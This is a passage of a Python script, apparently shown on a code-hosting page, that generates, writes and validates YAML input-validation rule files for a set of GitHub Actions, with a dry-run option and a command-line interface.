|
||||
},
|
||||
"validation_coverage": coverage,
|
||||
"auto_detected": True,
|
||||
"manual_review_required": coverage < 80 or validated_inputs == 0,
|
||||
"quality_indicators": {
|
||||
"has_required_inputs": len(required_inputs) > 0,
|
||||
"has_token_validation": "token" in conventions or "github-token" in conventions,
|
||||
"has_version_validation": any("version" in v for v in conventions.values() if v),
|
||||
"has_file_validation": any(v == "file_path" for v in conventions.values()),
|
||||
"has_security_validation": any(
|
||||
v in ["github_token", "security_patterns"] for v in conventions.values()
|
||||
),
|
||||
},
|
||||
}
|
||||
|
||||
return rules
|
||||
|
||||
def write_rules_file(self, action_name: str, rules: dict[str, Any]) -> None:
|
||||
"""Write rules to YAML file in action folder"""
|
||||
rules_file = self.actions_dir / action_name / "rules.yml"
|
||||
generator_version = rules.get("generator_version", "unknown")
|
||||
schema_version = rules.get("schema_version", "unknown")
|
||||
validation_coverage = rules.get("validation_coverage", 0)
|
||||
validated_inputs = rules["statistics"].get("validated_inputs", 0)
|
||||
total_inputs = rules["statistics"].get("total_inputs", 0)
|
||||
|
||||
header = f"""---
|
||||
# Validation rules for {action_name} action
|
||||
# Generated by update-validators.py v{generator_version} - DO NOT EDIT MANUALLY
|
||||
# Schema version: {schema_version}
|
||||
# Coverage: {validation_coverage}% ({validated_inputs}/{total_inputs} inputs)
|
||||
#
|
||||
# This file defines validation rules for the {action_name} GitHub Action.
|
||||
# Rules are automatically applied by validate-inputs action when this
|
||||
# action is used.
|
||||
#
|
||||
|
||||
"""
|
||||
|
||||
# Use a custom yaml dumper to ensure proper indentation
|
||||
class CustomYamlDumper(yaml.SafeDumper):
|
||||
def increase_indent(self, flow: bool = False, *, indentless: bool = False) -> None: # noqa: FBT001, FBT002
|
||||
return super().increase_indent(flow, indentless=indentless)
|
||||
|
||||
yaml_content = yaml.dump(
|
||||
rules,
|
||||
Dumper=CustomYamlDumper,
|
||||
indent=2,
|
||||
width=120,
|
||||
default_flow_style=False,
|
||||
allow_unicode=True,
|
||||
sort_keys=False,
|
||||
)
|
||||
|
||||
content = header + yaml_content
|
||||
|
||||
if self.dry_run:
|
||||
print(f"[DRY RUN] Would write {rules_file}:")
|
||||
print(content)
|
||||
print("---")
|
||||
else:
|
||||
with rules_file.open("w", encoding="utf-8") as f:
|
||||
f.write(content)
|
||||
print(f"✅ Generated {rules_file}")
|
||||
|
||||
def generate_rules(self) -> None:
|
||||
"""Generate rules for all actions or a specific action"""
|
||||
print("🔍 Scanning for GitHub Actions...")
|
||||
|
||||
actions = self.get_action_directories()
|
||||
filtered_actions = actions
|
||||
|
||||
if self.specific_action:
|
||||
filtered_actions = [name for name in actions if name == self.specific_action]
|
||||
if not filtered_actions:
|
||||
print(f"❌ Action '{self.specific_action}' not found")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"📝 Found {len(actions)} actions, processing {len(filtered_actions)}:")
|
||||
for name in filtered_actions:
|
||||
print(f" - {name}")
|
||||
print()
|
||||
|
||||
processed = 0
|
||||
failed = 0
|
||||
|
||||
for action_name in filtered_actions:
|
||||
try:
|
||||
rules = self.generate_rules_for_action(action_name)
|
||||
if rules:
|
||||
self.write_rules_file(action_name, rules)
|
||||
processed += 1
|
||||
else:
|
||||
print(f"⚠️ Failed to generate rules for {action_name}")
|
||||
failed += 1
|
||||
except Exception as error:
|
||||
print(f"❌ Error processing {action_name}: {error}")
|
||||
failed += 1
|
||||
|
||||
print()
|
||||
print("📊 Summary:")
|
||||
print(f" - Processed: {processed}")
|
||||
print(f" - Failed: {failed}")
|
||||
coverage = (
|
||||
round((processed / (processed + failed)) * 100) if (processed + failed) > 0 else 0
|
||||
)
|
||||
print(f" - Coverage: {coverage}%")
|
||||
|
||||
if not self.dry_run and processed > 0:
|
||||
print()
|
||||
print(
|
||||
"✨ Validation rules updated! Run 'git diff */rules.yml' to review changes.",
|
||||
)
|
||||
|
||||
def validate_rules_files(self) -> bool:
|
||||
"""Validate existing rules files"""
|
||||
print("🔍 Validating existing rules files...")
|
||||
|
||||
# Find all rules.yml files in action directories
|
||||
rules_files = []
|
||||
for action_dir in self.actions_dir.iterdir():
|
||||
if action_dir.is_dir() and not action_dir.name.startswith("."):
|
||||
rules_file = action_dir / "rules.yml"
|
||||
if rules_file.exists():
|
||||
rules_files.append(rules_file)
|
||||
|
||||
valid = 0
|
||||
invalid = 0
|
||||
|
||||
for rules_file in rules_files:
|
||||
try:
|
||||
with rules_file.open(encoding="utf-8") as f:
|
||||
content = f.read()
|
||||
rules = yaml.safe_load(content)
|
||||
|
||||
# Basic validation
|
||||
required = ["action", "required_inputs", "optional_inputs", "conventions"]
|
||||
missing = [field for field in required if field not in rules]
|
||||
|
||||
if missing:
|
||||
print(f"⚠️ {rules_file.name}: Missing fields: {', '.join(missing)}")
|
||||
invalid += 1
|
||||
else:
|
||||
valid += 1
|
||||
except Exception as error:
|
||||
print(f"❌ {rules_file.name}: {error}")
|
||||
invalid += 1
|
||||
|
||||
print(f"✅ Validation complete: {valid} valid, {invalid} invalid")
|
||||
return invalid == 0
|
||||
|
||||
|
||||
def main() -> None:
|
||||
"""CLI handling"""
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Automatically generates validation rules for GitHub Actions",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
Examples:
|
||||
python update-validators.py --dry-run
|
||||
python update-validators.py --action csharp-publish
|
||||
python update-validators.py --validate
|
||||
""",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--dry-run",
|
||||
action="store_true",
|
||||
help="Show what would be generated without writing files",
|
||||
)
|
||||
parser.add_argument("--action", metavar="NAME", help="Generate rules for specific action only")
|
||||
parser.add_argument("--validate", action="store_true", help="Validate existing rules files")
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
generator = ValidationRuleGenerator(dry_run=args.dry_run, specific_action=args.action)
|
||||
|
||||
if args.validate:
|
||||
success = generator.validate_rules_files()
|
||||
sys.exit(0 if success else 1)
|
||||
else:
|
||||
generator.generate_rules()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user